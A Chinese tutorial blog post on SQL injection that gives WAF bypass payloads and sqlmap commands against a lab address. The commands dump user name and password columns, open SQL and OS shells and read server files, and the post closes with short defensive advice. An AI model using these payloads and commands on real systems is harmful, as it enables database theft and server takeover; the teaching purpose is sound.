网络安全之SQL注入及防御(下篇)

目录

什么是SQL注入?

一,SQL注入会导致什么呢?

二,SQL注入思想与步骤

三,SQL注入的绕过

四,sqlmap工具的使用

五,sql注入的防御方法

总结


什么是SQL注入?

SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在应用程序的输入字段中插入恶意的SQL代码,在应用程序未授权的情况下执行任意的SQL语句。

一,SQL注入会导致什么呢?

1,数据泄露:我们的账号密码,个人身份信息的等等

2,数据篡改:篡改商品的价格,学生成绩等等

3,数据删除:删除某些数据

4,拒绝服务攻击(DoS):利用SQL注入制作大量查询和复杂的操作导致系统资源耗尽

5,提权攻击:利用SQL注入提升权限执行系统命令等

6,绕过身份验证:利用SQL注入绕过身份验证使得攻击者管理员特权身份

二,SQL注入思想与步骤

1,找到注入点

2,获取对方数据库名字

3,获取对方数据库中有那些表

4,获取表中有哪些字段

5,获取字段表中的数据

三,SQL注入的绕过

开启waf

注入sql代码:

union select 1,2,3,select database()

可以看到被防火墙拦截了

那么怎么办呢?

这种情况下get的提交方式不行,就用post加特殊字符过滤绕过检测

sql注入代码:

?id=1/**&id=-1%20union%20select%201,2,3,database/**/()%23*/

/**/在数据库中是注释符号,%20是空格,%23是#

|------------------|-----------------------------|--------|
| web服务器 | 参数获取函数 | 获取到的参数 |
| PHP/Apache | $_GET("par") | 最后一个 |
| JSP/Tomcat | Request.getParameter("par") | 第一个 |
| Perl(CGI)/Apache | Param("par") | 第一个 |
| Python/Apache | Getvalue("par") | 所有的 |
| ASP/IIS | Request.QueryString("par") | 所有的 |

利用数据库的特性

sql注入代码:

?id=-1%20union%20/*!44509select*/%201,2,3,4

四,sqlmap工具的使用

sqlmap 是一个开源的渗透测试工具,它能自动检测和利用SQL注入漏洞并接管数据库,现在非常强了,都能自动绕过waf了。

这是一个kali linux自带的工具

1,检测网站是否存在sql注入漏洞

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2'

2,查看当前数据库

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --current-db

3,查看数据库中有那些表

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' -D jrlt --tables

4,查看表中有那些字段

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' -D jrlt -T users --columns

5, 列出其中的数据

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' -D jrlt -T users -C name,password --dump

6,执行sql语句

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --sql-shell

7, 爆破数据库弱密码

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --password

8,执行系统命令

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --os-shell

9,读取系统文件

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --file-read "D:\1.txt"

五,sql注入的防御方法

1,过滤

【1】限制参数的长度

【2】过滤掉恶意代码(例如:select,union,order by,update)

2,转义

把用户输入的数据当成文本

3,数据库安全控制

【1】设置权限

【2】数据加密

4,进行预编译

总结

时代在发展,科技在进步,在当下一日千里的时代我们今天学的东西明天可能就过时了,有时候绕过waf时非常轻松,但是过了一段时间发现同样的方法已经绕不过了,那咋办呢?凉拌?那当然是保持学习,与时俱进,网络安全不就是道高一尺魔高一丈嘛,网络安全技术在升级,我们也应当保持积极学习的心态,去挖掘其中的奥义,积极吸取他人的经验。

相关推荐
JoyCong19982 小时前
打破远程协助的安全信任困局,ToDesk AI审计功能自动操作留痕
网络·人工智能·科技·安全·电脑·远程工作
2401_841495642 小时前
【数据结构】B+树
数据结构·数据库·c++·b+树·概念·结构·操作原理
Hardworking6664 小时前
第7章 软硬件系统集成
数据库·软硬件系统集成
名字还没想好☜4 小时前
Go 的 time.Ticker 陷阱:定时任务里被忽略的内存泄漏与正确关闭
java·数据库·golang·go·定时器
熊猫钓鱼>_>5 小时前
Redis 突发缓存穿透:一次完整的定位复盘
数据库·人工智能·redis·缓存·ai·agent·智能
wenb1n5 小时前
MySQL诊断系列(3/6):索引分析——5个SQL揪出“僵尸索引”
数据库·人工智能·编程语言
段一凡-华北理工大学6 小时前
向量数据库实战:选型、调优与落地~系列文章03:向量相似度算法全解:余弦、欧氏、内积,到底该用哪个?
大数据·数据库·人工智能·算法·机器学习·向量相似度·高炉炼铁
ClouGence7 小时前
CloudDM 数据库管理平台,全新 UI,更清晰、更高效!
数据库·开源
yunwei377 小时前
实证研究:AI Agent 规则需要上下文与分层强制执行
linux·安全·ai编程
kp000007 小时前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全